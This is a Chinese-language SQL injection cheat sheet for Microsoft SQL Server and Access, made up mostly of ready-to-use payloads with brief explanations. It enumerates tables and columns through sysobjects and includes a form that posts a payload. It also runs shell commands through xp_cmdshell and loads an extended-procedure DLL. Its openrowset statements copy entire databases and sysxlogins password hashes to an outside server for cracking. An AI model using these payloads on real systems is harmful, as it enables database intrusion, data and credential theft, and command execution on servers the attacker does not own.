傳統(tǒng)查詢構(gòu)造:
select * from news where id=... and topic=... and .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 顯示有一個(gè)叫ffff的用戶哈。
'and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
  說明:
  上面的語句是得到數(shù)據(jù)庫中的第一個(gè)用戶表,并把表名放在ffff用戶的郵箱字段中。
  通過查看ffff的用戶資料可得第一個(gè)用表叫ad
  然后根據(jù)表名ad得到這個(gè)表的id
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--
  象下面這樣就可以得到第二個(gè)表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2)
where name='ffff';--
ffff';update [users] set email=(select top 1 name from password where id=2) 
where name='ffff';--
exec master..xp_servicecontrol 'start', 'schedule' 
exec master..xp_servicecontrol 'start', 'server'
sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll'
  擴(kuò)展存儲(chǔ)就可以通過一般的方法調(diào)用: 
exec xp_webserver
  一旦這個(gè)擴(kuò)展存儲(chǔ)執(zhí)行過,可以這樣刪除它: 
sp_dropextendedproc 'xp_webserver' 
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+
char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-
insert into users values( 667,123,123,0xffff)-
insert into users values ( 123, 'admin''--', 'password', 0xffff)-
;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //為access數(shù)據(jù)庫
  通常注射的一些介紹:
  a) id=49 這類注入的參數(shù)是數(shù)字型,sql語句原貌大致如下:
  select * from 表名 where 字段=49
  注入的參數(shù)為id=49 and [查詢條件],即是生成語句:
  select * from 表名 where 字段=49 and [查詢條件]
  (b) class=連續(xù)劇 這類注入的參數(shù)是字符型,sql語句原貌大致概如下:
  select * from 表名 where 字段='連續(xù)劇' 
  注入的參數(shù)為class=連續(xù)劇' and [查詢條件] and ''=' ,即是生成語句:
  select * from 表名 where 字段='連續(xù)劇' and [查詢條件] and ''=''
  (c) 搜索時(shí)沒過濾參數(shù)的,如keyword=關(guān)鍵字,sql語句原貌大致如下:
  select * from 表名 where 字段like '%關(guān)鍵字%' 
  注入的參數(shù)為keyword=' and [查詢條件] and '%25'=', 即是生成語句:
  select * from 表名 where字段like '%' and [查詢條件] and '%'='%'
  ;;and (select top 1 name from sysobjects where xtype='u' and status>0)>0
  sysobjects是sqlserver的系統(tǒng)表,存儲(chǔ)著所有的表名、視圖、約束及其它對(duì)象,xtype='u' and status>0,表示用戶建立的表名,上面的語句將第一個(gè)表名取出,與0比較大小,讓報(bào)錯(cuò)信息把表名暴露出來。
  ;;and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0
  從⑤拿到表名后,用object_id('表名')獲取表名對(duì)應(yīng)的內(nèi)部id,col_name(表名id,1)代表該表的第1個(gè)字段名,將1換成2,3,4...就可以逐個(gè)獲取所猜解表里面的字段名。
post.htm內(nèi)容:主要是方便輸入。
<iframe name=p src=# width=800 height=350 frameborder=0></iframe>
<br>
<form action=http://test.com/count.asp target=p> 
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" >
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>
  枚舉出他的數(shù)據(jù)表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
這是將第一個(gè)表名更新到aaa的字段處。
  讀出第一個(gè)表,第二個(gè)表可以這樣讀出來(在條件后加上 and name<>'剛才得到的表名')。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
然后id=1552 and exists(select * from aaa where aaa>5)
讀出第二個(gè)表,^^^^^^一個(gè)個(gè)的讀出,直到?jīng)]有為止。
  讀字段是這樣:
  id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
  然后id=1552 and exists(select * from aaa where aaa>5)出錯(cuò),得到字段名
  id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
  然后id=1552 and exists(select * from aaa where aaa>5)出錯(cuò),得到字段名
高級(jí)技巧:
  [獲得數(shù)據(jù)表名][將字段值更新為表名,再想法讀出這個(gè)字段的值就可得到表名]
  update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一個(gè)加一個(gè)]) [ where 條件]
  select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
通過sqlserver注入漏洞建數(shù)據(jù)庫管理員帳號(hào)和系統(tǒng)管理員帳號(hào)[當(dāng)前帳號(hào)必須是sysadmin組]
  [獲得數(shù)據(jù)表字段名][將字段值更新為字段名,再想法讀出這個(gè)字段的值就可得到字段名]
  update 表名 set 字段=(select top 1 col_name(object_id('要查詢的數(shù)據(jù)表名'),字段列如:1) [ where 條件]

  1、 開啟遠(yuǎn)程數(shù)據(jù)庫
  基本語法
select * from openrowset('sqloledb', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' ) 
參數(shù): (1) oledb provider name
  2、 其中連接字符串參數(shù)可以是任何和端口用來連接,比如
select * from openrowset('sqloledb', 'uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;', 'select * from table'
要復(fù)制目標(biāo)主機(jī)的整個(gè)數(shù)據(jù)庫,首先要在目標(biāo)主機(jī)上和自己機(jī)器上的數(shù)據(jù)庫建立連接(如何在目標(biāo)主機(jī)上建立遠(yuǎn)程連接,剛才已經(jīng)講了),之后insert所有遠(yuǎn)程表到本地表。
  基本語法:
insert into openrowset('sqloledb', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2
  這行語句將目標(biāo)主機(jī)上table2表中的所有數(shù)據(jù)復(fù)制到遠(yuǎn)程數(shù)據(jù)庫中的table1表中。實(shí)際運(yùn)用中適當(dāng)修改連接字符串的ip地址和端口,指向需要的地方,比如:
insert into openrowset('sqloledb', 'uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;', 'select * from table1') select * from table2
insert into openrowset('sqloledb', 'uid=sa;pwd=hack3r;network=dbmssocn;address=202.100.100.1,1433;', 'select * from _sysdatabases') 
select * from master.dbo.sysdatabases 
insert into openrowset('sqloledb', 'uid=sa;pwd=hack3r;network=dbmssocn;address=202.100.100.1,1433;', 'select * from _sysobjects') 
select * from user_database.dbo.sysobjects 
insert into openrowset('sqloledb', 'uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;', 'select * from _syscolumns') 
select * from user_database.dbo.syscolumns
  之后,便可以從本地?cái)?shù)據(jù)庫中看到目標(biāo)主機(jī)的庫結(jié)構(gòu),這已經(jīng)易如反掌,不多講,復(fù)制數(shù)據(jù)庫:
insert into openrowset('sqloledb', 'uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;', 'select * from table1') select * from database..table1 
insert into openrowset('sqloledb', 'uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;', 'select * from table2') select * from database..table2
......
3、 復(fù)制哈西表(hash)
  這實(shí)際上是上述復(fù)制數(shù)據(jù)庫的一個(gè)擴(kuò)展應(yīng)用。登錄密碼的hash存儲(chǔ)于sysxlogins中。方法如下:
insert into openrowset('sqloledb', 'uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins
得到hash之后,就可以進(jìn)行暴力破解。這需要一點(diǎn)運(yùn)氣和大量時(shí)間。
  遍歷目錄的方法:
  先創(chuàng)建一個(gè)臨時(shí)表:temp
'5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
5';insert temp exec master.dbo.xp_availablemedia;-- 獲得當(dāng)前所有驅(qū)動(dòng)器
5';insert into temp(id) exec master.dbo.xp_subdirs 'c:/';-- 獲得子目錄列表
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- 獲得所有子目錄的目錄樹結(jié)構(gòu),并寸入temp表中
5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:/web/index.asp';-- 查看某個(gè)文件的內(nèi)容
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:/';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:/ *.asp /s/a';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript c:/inetpub/adminscripts/adsutil.vbs enum w3svc'
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- (xp_dirtree適用權(quán)限public)
